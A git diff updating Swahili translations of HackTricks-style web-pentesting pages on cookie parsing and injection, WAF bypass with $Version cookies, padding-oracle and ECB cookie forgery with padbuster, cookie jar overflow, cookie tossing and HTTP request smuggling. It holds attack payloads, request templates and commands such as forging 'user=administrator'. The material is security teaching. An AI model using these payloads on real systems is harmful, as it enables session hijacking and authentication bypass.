kudumu. -#### Uhamasishaji wa Keki kutokana na Masuala ya Ufafanuzi +#### Uhamasishaji wa Keki kutokana na Masuala ya Uchambuzi -(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia nyuzi za keki vibaya kutokana na msaada wa zamani wa RFC2965. Wanasoma thamani ya keki iliyo na nukuu mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kwa kawaida zinapaswa kutenganisha jozi za funguo-thamani: +(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya nyuzi za keki kutokana na msaada wa zamani wa RFC2965. Wanasoma thamani ya keki iliyo na nukta mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kwa kawaida zinapaswa kutenganisha jozi za funguo-thamani: ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` @@ -176,25 +176,25 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; (Tafadhali angalia maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Uparsing usio sahihi wa cookies na seva, hasa Undertow, Zope, na zile zinazotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` za Python, unatoa fursa za mashambulizi ya kuingiza cookies. Seva hizi zinashindwa kuweka mipaka sahihi ya kuanza kwa cookies mpya, ikiruhusu washambuliaji kuiga cookies: - Undertow inatarajia cookie mpya mara moja baada ya thamani iliyonukuliwa bila alama ya semikolon. -- Zope inatafuta koma ili kuanza kuparsing cookie inayofuata. -- Madarasa ya cookie ya Python yanaanza kuparsing kwenye herufi ya nafasi. +- Zope inatafuta koma ili kuanza uparsing wa cookie inayofuata. +- Madarasa ya cookie ya Python yanaanza uparsing kwenye herufi ya nafasi. -Ukatili huu ni hatari hasa katika programu za wavuti zinazotegemea ulinzi wa CSRF wa msingi wa cookies, kwani inaruhusu washambuliaji kuingiza cookies za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookie yanayojirudia, ambapo tukio la mwisho linazidi yale ya awali. Pia linaibua wasiwasi kwa `__Secure-` na `__Host-` cookies katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati cookies zinapopita kwa seva za nyuma zinazoweza kudanganywa. +Ukatili huu ni hatari hasa katika programu za wavuti zinazotegemea ulinzi wa CSRF wa msingi wa cookies, kwani unaruhusu washambuliaji kuingiza cookies za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookie yanayojirudia, ambapo tukio la mwisho linazidi yale ya awali. Pia linaibua wasiwasi kwa cookies za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati cookies zinapopita kwa seva za nyuma zinazoweza kudanganywa. -### Cookies $version na WAF bypasses +### Cookies $version na kupita kwa WAF -Kulingana na [**hiki blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), inaweza kuwa inawezekana kutumia sifa ya cookie **`$Version=1`** ili kufanya backend itumie mantiki ya zamani kuparsing cookie kutokana na **RFC2109**. Zaidi ya hayo, thamani nyingine kama **`$Domain`** na **`$Path`** zinaweza kutumika kubadilisha tabia ya backend na cookie. +Kulingana na [**hiki blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), inaweza kuwa inawezekana kutumia sifa ya cookie **`$Version=1`** ili kufanya backend itumie mantiki ya zamani ya kuparsing cookie kutokana na **RFC2109**. Zaidi ya hayo, thamani nyingine kama **`$Domain`** na **`$Path`** zinaweza kutumika kubadilisha tabia ya backend na cookie. #### Uchambuzi wa kupita thamani na uandishi wa mfuatano wa nukuu -Uparsing huu unaonyesha kuondoa uandishi wa thamani zilizofichwa ndani ya cookies, hivyo "\a" inakuwa "a". Hii inaweza kuwa na manufaa kupita WAFS kama: +Uparsing huu unaonyesha kuondoa thamani zilizofichwa ndani ya cookies, hivyo "\a" inakuwa "a". Hii inaweza kuwa na manufaa kupita WAFS kama: - `eval('test') => forbidden` - `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed` #### Kupita orodha za vizuizi vya majina ya cookie -Katika RFC2109 inabainishwa kuwa **koma inaweza kutumika kama mpasuo kati ya thamani za cookie**. Na pia inawezekana kuongeza **nafasi na tabo kabla na baada ya alama ya usawa**. Hivyo cookie kama `$Version=1; foo=bar, abc = qux` haisababishi cookie `"foo":"bar, admin = qux"` bali cookies `foo":"bar"` na `"admin":"qux"`. Angalia jinsi cookies 2 zinavyoundwa na jinsi admin aliondolewa nafasi kabla na baada ya alama ya usawa. +Katika RFC2109 inabainishwa kuwa **koma inaweza kutumika kama mpasuo kati ya thamani za cookie**. Na pia inawezekana kuongeza **nafasi na tabo kabla na baada ya alama ya usawa**. Hivyo basi cookie kama `$Version=1; foo=bar, abc = qux` haisababishi cookie `"foo":"bar, admin = qux"` bali cookies `foo":"bar"` na `"admin":"qux"`. Angalia jinsi cookies 2 zinavyoundwa na jinsi admin alivyondolewa nafasi kabla na baada ya alama ya usawa. #### Uchambuzi wa kupita thamani na kugawanya cookie @@ -205,7 +205,7 @@ Host: example.com Cookie: param1=value1; Cookie: param2=value2; ``` -Ambayo inaweza kuruhusu kupita WAF kama katika mfano huu: +Ambayo yanaweza kuruhusu kupita WAF kama katika mfano huu: ``` Cookie: name=eval('test// Cookie: comment') @@ -220,16 +220,16 @@ Resulting cookie: name=eval('test//, comment') => allowed - Toka na jaribu kutumia keki ile ile. - Jaribu kuingia na vifaa 2 (au vivinjari) kwenye akaunti ile ile ukitumia keki ile ile. - Angalia kama keki ina taarifa yoyote ndani yake na jaribu kuibadilisha. -- Jaribu kuunda akaunti kadhaa zikiwa na jina la mtumiaji karibu sawa na angalia kama unaweza kuona kufanana. +- Jaribu kuunda akaunti kadhaa zikiwa na jina la mtumiaji karibu sawa na uone kama unaweza kuona kufanana. - Angalia chaguo la "**nikumbuke**" ikiwa ipo ili kuona jinsi inavyofanya kazi. Ikiwa ipo na inaweza kuwa na udhaifu, daima tumia keki ya **nikumbuke** bila keki nyingine yoyote. - Angalia kama keki ya awali inafanya kazi hata baada ya kubadilisha nenosiri. #### **Mashambulizi ya Keki ya Juu** -Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii ina maana kwamba keki inahusiana na uwanja fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza: +Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii huenda ikamaanisha kwamba keki inahusiana na uwanja fulani wa akaunti yako (huenda jina la mtumiaji). Kisha unaweza: -- Jaribu kuunda akaunti nyingi za **akaunti** zikiwa na majina ya mtumiaji yanayofanana sana na jaribu **kukisia** jinsi algorithimu inavyofanya kazi. -- Jaribu **kuvunjavunja jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitishaji kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjavunja** kila **kipande** cha keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**". +- Jaribu kuunda akaunti nyingi za **jina la mtumiaji** zikiwa na ufanano mkubwa na jaribu **kukisia** jinsi algorithimu inavyofanya kazi. +- Jaribu **kuvunjavunja jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjavunja** kila **kipande** cha keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**". - Jaribu **Padding** **Oracle** (unaweza kufichua maudhui ya keki). Tumia **padbuster**. **Padding Oracle - Mifano ya Padbuster** @@ -246,7 +246,7 @@ Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya mako Kisha itaanza kufungua siri cookie (inaweza kuchukua dakika kadhaa) -Ikiwa shambulio limefanikiwa, basi unaweza kujaribu kuficha mfuatano wa uchaguzi wako. Kwa mfano, ikiwa ungependa **kuficha** **user=administrator** +Ikiwa shambulio limefanikiwa, basi unaweza kujaribu kuficha mfuatano wa chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **user=administrator** ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` @@ -271,9 +271,9 @@ Wakati unapoingia, cookie unayopokea inapaswa kuwa kila wakati sawa. Unda watumiaji 2 wenye takwimu karibu sawa (jina la mtumiaji, nenosiri, barua pepe, nk.) na jaribu kugundua muundo wowote ndani ya cookie iliyotolewa. -Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji linapaswa kusimbwa). +Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizotengwa zinaweza kuonekana ikiwa jina la mtumiaji linatumika). -Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kisimbuaji wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin". +Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kusimbwa wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin". ## Marejeo diff --git a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md index 5f7740453..c273e0728 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md @@ -1,6 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} -Vivinjari vina **mipaka juu ya idadi ya cookies** ambazo vinaweza kuhifadhi kwa ukurasa. Kisha, ikiwa kwa sababu fulani unahitaji **kufanya cookie ipotee**, unaweza **kujaa chombo cha cookies** kwani zile za zamani zitaondolewa kwanza: +Vivinjari vina **mipaka juu ya idadi ya cookies** ambazo vinaweza kuhifadhi kwa ukurasa. Kisha, ikiwa kwa sababu fulani unahitaji **kufanya cookie ipotee**, unaweza **kujaa jar la cookie** kwani zile za zamani zitaondolewa kwanza: ```javascript // Set many cookies for (let i = 0; i < 700; i++) { @@ -17,6 +17,6 @@ Kumbuka, kwamba vidakuzi vya upande wa tatu vinavyotaja kikoa tofauti havitafutw > [!CAUTION] > Shambulio hili linaweza pia kutumika **kufuta vidakuzi vya HttpOnly kwani unaweza kuvifuta kisha kuviweka tena kwa thamani unayotaka**. > -> Angalia hii katika [**hiki chapisho chenye maabara**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/). +> Angalia hii katika [**hiki kipande na maabara**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index 6cf5a5e60..5ed49c654 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -2,14 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -### Maelezo +### Description Ikiwa mshambuliaji anaweza **kudhibiti subdomain au domain ya kampuni au kupata XSS katika subdomain** atakuwa na uwezo wa kufanya shambulio hili. -Kama ilivyosemwa katika sehemu ya Cookies Hacking, wakati **cookie imewekwa kwa domain (ikiitaja) itatumika katika domain na subdomains.** +Kama ilivyosemwa katika sehemu ya Cookies Hacking, wakati **cookie imewekwa kwa domain (ikiwekwa wazi) itatumika katika domain na subdomains.** > [!CAUTION] -> Hivyo, **mshambuliaji atakuwa na uwezo wa kuweka cookie maalum kwa domain na subdomains akifanya kitu kama** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` +> Hivyo, **mshambuliaji ataweza kuweka cookie maalum kwa domain na subdomains akifanya kitu kama** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` Hii inaweza kuwa hatari kwani mshambuliaji anaweza: @@ -19,7 +19,7 @@ Hii inaweza kuwa hatari kwani mshambuliaji anaweza: - Ikiwa **cookie inaweka thamani ya awali** (kama katika flask ambapo **cookie** inaweza **kuweka** **CSRF token** ya kikao na thamani hii itadumishwa baada ya mwathirika kuingia), **mshambuliaji anaweza kuweka thamani hii inayojulikana na kisha kuitumia** (katika hali hiyo, mshambuliaji anaweza kumfanya mtumiaji afanye ombi la CSRF kwani anajua CSRF token). - Kama vile kuweka thamani, mshambuliaji pia anaweza kupata cookie isiyo na uthibitisho iliyozalishwa na seva, kupata CSRF token kutoka kwake na kuitumia. -### Agizo la Cookie +### Cookie Order Wakati kivinjari kinapokea cookies mbili zenye jina sawa **zinazoathiri sehemu sawa** (domain, subdomains na njia), **kivinjari kitatumia thamani zote za cookie** wakati zote ni halali kwa ombi. @@ -30,34 +30,34 @@ Mara nyingi **tovuti zitatumia tu thamani ya kwanza**. Kisha, ikiwa mshambuliaji > [!WARNING] > Zaidi ya hayo, uwezo wa **kuweka cookie katika njia maalum zaidi** ni wa kuvutia kwani utaweza kumfanya **mwathirika afanye kazi na cookie yake isipokuwa katika njia maalum ambapo cookie mbaya itatumwa kwanza**. -### Kupita Ulinzi +### Protection Bypass -Ulinzi unaowezekana dhidi ya shambulio hili ungekuwa kwamba **seva ya wavuti haitakubali maombi yenye cookies mbili zenye jina sawa lakini zikiwa na thamani tofauti**. +Ulinzi unaowezekana dhidi ya shambulio hili ungekuwa kwamba **seva ya wavuti haitakubali maombi yenye cookies mbili zenye jina sawa lakini zenye thamani tofauti**. -Ili kupita hali ambapo mshambuliaji anaweka cookie baada ya mwathirika tayari kupatiwa cookie, mshambuliaji anaweza kusababisha **overflow ya cookie** na kisha, mara **cookie halali itakapofutwa, kuweka ile mbaya**. +Ili kupita hali ambapo mshambuliaji anaweka cookie baada ya mwathirika tayari kupatiwa cookie, mshambuliaji anaweza kusababisha **cookie overflow** na kisha, mara **cookie halali itakapofutwa, kuweka ile mbaya**. {{#ref}} cookie-jar-overflow.md {{#endref}} -Njia nyingine ya **kupita** inaweza kuwa **kuandika jina la cookie kwa URL** kwani baadhi ya ulinzi huangalia cookies 2 zenye jina sawa katika ombi na kisha seva itachambua majina ya cookies. +Njia nyingine ya **bypass** inaweza kuwa **URL encode jina la cookie** kwani baadhi ya ulinzi huangalia cookies 2 zenye jina sawa katika ombi na kisha seva itachambua majina ya cookies. -### Bomu la Cookie +### Cookie Bomb -Shambulio la Cookie Tossing linaweza pia kutumika kufanya shambulio la **Bomu la Cookie**: +Shambulio la Cookie Tossing linaweza pia kutumika kufanya shambulio la **Cookie Bomb**: {{#ref}} cookie-bomb.md {{#endref}} -### Ulinzi**s** +### Defense**s** #### **Tumia kiambishi `__Host` katika jina la cookie** - Ikiwa jina la cookie lina kiambishi hiki, **litawekwa tu** katika mwelekeo wa Set-Cookie ikiwa imewekwa Secure, ilitumwa kutoka chanzo salama, haina sifa ya Domain, na ina sifa ya Path iliyowekwa kwa / -- **Hii inazuia subdomains kulazimisha cookie kwa domain ya juu kwani cookies hizi zinaweza kuonekana kama "zilizofungwa kwa domain"** +- **Hii inazuia subdomains kulazimisha cookie kwa domain ya juu kwani cookies hizi zinaweza kuonekana kama "domain-locked"** -### Marejeleo +### References - [**@blueminimal**](https://twitter.com/blueminimal) - [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers) diff --git a/src/pentesting-web/http-connection-request-smuggling.md b/src/pentesting-web/http-connection-request-smuggling.md index 4bcc25cc0..4ce8f497d 100644 --- a/src/pentesting-web/http-connection-request-smuggling.md +++ b/src/pentesting-web/http-connection-request-smuggling.md @@ -8,7 +8,7 @@ ### First-request Validation -Wakati wa kuelekeza maombi, proxies za nyuma zinaweza kutegemea **Host header** kubaini seva ya nyuma ya marudio, mara nyingi zikitegemea orodha ya wageni walioidhinishwa. Hata hivyo, kuna udhaifu katika proxies zingine ambapo orodha ya wageni inatekelezwa tu kwenye ombi la kwanza katika muunganisho. Kwa hivyo, washambuliaji wanaweza kutumia hii kwa kwanza kufanya ombi kwa mwenyeji aliyeidhinishwa na kisha kuomba tovuti ya ndani kupitia muunganisho huo huo: +Wakati wa kuelekeza maombi, proxies za nyuma zinaweza kutegemea **Host header** kubaini seva ya nyuma ya marudio, mara nyingi zikitegemea orodha ya wageni ambao wanaruhusiwa kupata. Hata hivyo, kuna udhaifu katika proxies zingine ambapo orodha ya wageni inatekelezwa tu kwenye ombi la awali katika muunganisho. Kwa hivyo, washambuliaji wanaweza kutumia hii kwa kwanza kufanya ombi kwa mwenyeji aliyeidhinishwa na kisha kuomba tovuti ya ndani kupitia muunganisho huo huo: ``` GET / HTTP/1.1 Host: [allowed-external-host] @@ -18,7 +18,7 @@ Host: [internal-host] ``` ### Kuelekeza Ombi la Kwanza -Katika baadhi ya mipangilio, seva ya mbele inaweza kutumia **kichwa cha Host cha ombi la kwanza** kubaini uelekeo wa nyuma kwa ombi hilo, na kisha kuendelea kuelekeza maombi yote yanayofuata kutoka kwa muunganisho sawa wa mteja kwenye muunganisho sawa wa nyuma. Hii inaweza kuonyeshwa kama: +Katika baadhi ya mipangilio, seva ya mbele inaweza kutumia **kichwa cha Host cha ombi la kwanza** kubaini mwelekeo wa nyuma kwa ombi hilo, na kisha kuendelea kuelekeza maombi yote yanayofuata kutoka kwa muunganisho sawa wa mteja kwenye muunganisho sawa wa nyuma. Hii inaweza kuonyeshwa kama: ``` GET / HTTP/1.1 Host: example.com @@ -26,7 +26,7 @@ Host: example.com POST /pwreset HTTP/1.1 Host: psres.net ``` -Tatizo hili linaweza kuunganishwa na [Host header attacks](https://portswigger.net/web-security/host-header), kama vile upotoshaji wa kurekebisha nenosiri au [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), ili kutumia udhaifu mwingine au kupata ufikiaji usioidhinishwa kwa mwenyeji wa ziada wa virtual. +Tatizo hili linaweza kuunganishwa na [Host header attacks](https://portswigger.net/web-security/host-header), kama vile upotoshaji wa kurekebisha nenosiri au [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), ili kutumia udhaifu mwingine au kupata ufikiaji usioidhinishwa kwa wageni wa ziada wa virtual. > [!NOTE] > Ili kubaini udhaifu hizi, kipengele cha 'connection-state probe' katika HTTP Request Smuggler kinaweza kutumika. diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index b41c0efa7..4be79c00c 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -21,19 +21,19 @@ Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa back-end se **Transfer-Encoding: chunked** > Kichwa cha Transfer-Encoding kinaelezea aina ya usimbuaji inayotumika kwa usalama kuhamasisha mwili wa payload kwa mtumiaji.\ -> Chunked inamaanisha kwamba data kubwa inatumwa katika mfululizo wa vipande +> Chunked inamaanisha kwamba data kubwa inatumwa kwa mfululizo wa vipande ### Reality -**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** kichwa kingine ikisababisha **desyncronization** kati ya mifumo 2.\ +**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** nyingine moja ikisababisha **desyncronization** kati ya mifumo 2.\ Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambalo litatafsiriwa na **back-end** server **kama ombi 2 tofauti**. **Hatari** ya mbinu hii inategemea ukweli kwamba **back-end** server **itaelewa** **ombio la 2 lililoingizwa** kana kwamba **lilitoka kwa mteja anayefuata** na **ombio halisi** la mteja huyo litakuwa **sehemu** ya **ombio lililoingizwa**. ### Particularities Kumbuka kwamba katika HTTP **karakteri mpya ya mstari inaundwa na bytes 2:** -- **Content-Length**: Kichwa hiki kinatumia **nambari ya desimali** kuonyesha **idadi** ya **bytes** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika karakteri ya mwisho, **karakteri mpya haitahitajika mwishoni mwa ombi**. -- **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** na **karakteri mpya** lakini hii karakteri mpya **haitahesabiwa** na kiashiria cha urefu. Mbinu hii ya usafirishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatiwa na mistari 2 mipya**: `0` +- **Content-Length**: Kichwa hiki kinatumia **nambari ya desimali** kuonyesha **idadi** ya **bytes** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika karakteri ya mwisho, **mstari mpya hauhitajiki mwishoni mwa ombi**. +- **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** na **mstari mpya** lakini mstari huu mpya **hauhesabiwi** na kiashiria cha urefu. Mbinu hii ya uhamasishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatwa na mistari 2 mipya**: `0` - **Connection**: Kulingana na uzoefu wangu, inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la ombi Smuggling. ## Basic Examples @@ -80,7 +80,7 @@ Foo: x - **Back-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`. - **Kasi ya Shambulio:** -- Mshambuliaji anatumia ombi lililosambazwa ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havikubaliani. +- Mshambuliaji anatumia ombi lililosambazwa ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havifanani. - Server ya front-end, ikiheshimu `Transfer-Encoding`, inapeleka ombi lote kwa back-end. - Server ya back-end, ikiheshimu `Content-Length`, inasindika tu sehemu ya awali ya ombi (`7b` bytes), ikiacha iliyobaki kama sehemu ya ombi linalofuata lisilotarajiwa. - **Mfano:** @@ -147,7 +147,7 @@ Normal Request #### **CL.0 Scenario** -- Inahusisha hali ambapo kichwa cha `Content-Length` kiko na kina thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakichambua. +- Inahusisha hali ambapo kichwa cha `Content-Length` kiko na thamani isiyo sifuri, ikionyesha kwamba mwili wa ombi una maudhui. Back-end inapuuzilia mbali kichwa cha `Content-Length` (ambacho kinachukuliwa kama 0), lakini front-end inakichambua. - Ni muhimu katika kuelewa na kutengeneza mashambulizi ya smuggling, kwani inaathiri jinsi servers zinavyotambua mwisho wa ombi. - **Mfano:** @@ -164,7 +164,7 @@ Non-Empty Body - Kama ile ya awali lakini ikitumia TE - Mbinu [iliyorekodiwa hapa](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- **Mfano:** +- **Mfano**: ``` OPTIONS / HTTP/1.1 Host: {HOST} @@ -190,7 +190,7 @@ Kwa mfano, kama ilivyoelezwa katika [**hiki andiko**](https://mizu.re/post/twist #### Kulazimisha kupitia vichwa vya hop-by-hop -Kwa kutumia vichwa vya hop-by-hop unaweza kuonyesha proxy **kufuta kichwa cha Content-Length au Transfer-Encoding ili ombi la HTTP smuggling liweze kutumika**. +Kutatiza vichwa vya hop-by-hop unaweza kuonyesha proxy **kufuta kichwa cha Content-Length au Transfer-Encoding ili ombi la HTTP smuggling liweze kutumika**. ``` Connection: Content-Length ``` @@ -202,13 +202,13 @@ Kwa **maelezo zaidi kuhusu vichwa vya hop-by-hop** tembelea: ## Kupata HTTP Request Smuggling -Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu sana katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kupata udhaifu kama huo: +Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia mbinu za wakati, ambazo zinategemea kuangalia ni muda gani inachukua kwa seva kujibu maombi yaliyobadilishwa. Mbinu hizi ni muhimu hasa katika kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine ambazo zinaweza kutumika kupata udhaifu kama huo: ### Kupata Udhaifu wa CL.TE kwa Kutumia Mbinu za Wakati - **Mbinu:** -- Tuma ombi ambalo, ikiwa programu ina udhaifu, litafanya seva ya nyuma kusubiri data zaidi. +- Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi. - **Mfano:** ``` @@ -227,7 +227,7 @@ A - Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na kukata ujumbe mapema. - Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haitafika, ikisababisha kuchelewesha. -- **Viashiria:** +- **Dalili:** - Timeout au ucheleweshaji mrefu katika majibu. - Kupokea kosa la 400 Bad Request kutoka kwa seva ya nyuma, wakati mwingine ikiwa na maelezo ya kina ya seva. @@ -235,7 +235,7 @@ A - **Mbinu:** -- Tuma ombi ambalo, ikiwa programu ina udhaifu, litafanya seva ya nyuma kusubiri data zaidi. +- Tuma ombi ambalo, ikiwa programu ina udhaifu, litasababisha seva ya nyuma kusubiri data zaidi. - **Mfano:** ``` @@ -255,14 +255,14 @@ X ### Mbinu Nyingine za Kupata Udhaifu -- **Uchambuzi wa Majibu ya Tofauti:** +- **Uchambuzi wa Majibu Tofauti:** - Tuma toleo lililobadilishwa kidogo la ombi na uangalie ikiwa majibu ya seva yanatofautiana kwa njia isiyotarajiwa, ikionyesha tofauti ya uchambuzi. - **Kutumia Zana za Kiotomatiki:** - Zana kama vile Burp Suite's 'HTTP Request Smuggler' nyongeza zinaweza kujaribu kiotomatiki udhaifu hizi kwa kutuma aina mbalimbali za maombi yasiyo na uwazi na kuchambua majibu. - **Majaribio ya Tofauti za Content-Length:** - Tuma maombi yenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa maudhui na uangalie jinsi seva inavyoshughulikia tofauti hizo. - **Majaribio ya Tofauti za Transfer-Encoding:** -- Tuma maombi yenye vichwa vya `Transfer-Encoding` vilivyofichwa au visivyo sahihi na uangalie jinsi seva za mbele na za nyuma zinavyoshughulikia mabadiliko kama hayo. +- Tuma maombi yenye vichwa vya `Transfer-Encoding` vilivyofichwa au visivyo sahihi na uangalie jinsi seva za mbele na nyuma zinavyoshughulikia mabadiliko kama hayo. ### Upimaji wa Udhaifu wa HTTP Request Smuggling @@ -273,8 +273,8 @@ Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa m Wakati wa kupima udhaifu wa request smuggling kwa kuingilia maombi mengine, kumbuka: - **Mawasiliano Mbalimbali ya Mtandao:** Maombi ya "shambulio" na "ya kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia muunganisho mmoja kwa yote mawili hakuthibitishi uwepo wa udhaifu. -- **URL na Vigezo Vinavyolingana:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunapanua uwezekano kwamba maombi yote mawili yanashughulikiwa na seva moja, ambayo ni sharti la shambulio lililofanikiwa. -- **Wakati na Masharti ya Mbio:** Ombi la "kawaida", lililokusudiwa kugundua kuingilia kutoka kwa ombi la "shambulio", linashindana na maombi mengine ya programu yanayoendelea. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zenye shughuli nyingi zinaweza kuhitaji majaribio kadhaa kwa uthibitisho wa udhaifu. +- **URL na Vigezo Vinavyolingana:** Jaribu kutumia URLs na majina ya vigezo sawa kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha haya kunaongeza uwezekano wa maombi yote mawili kushughulikiwa na seva ile ile, ambayo ni sharti la 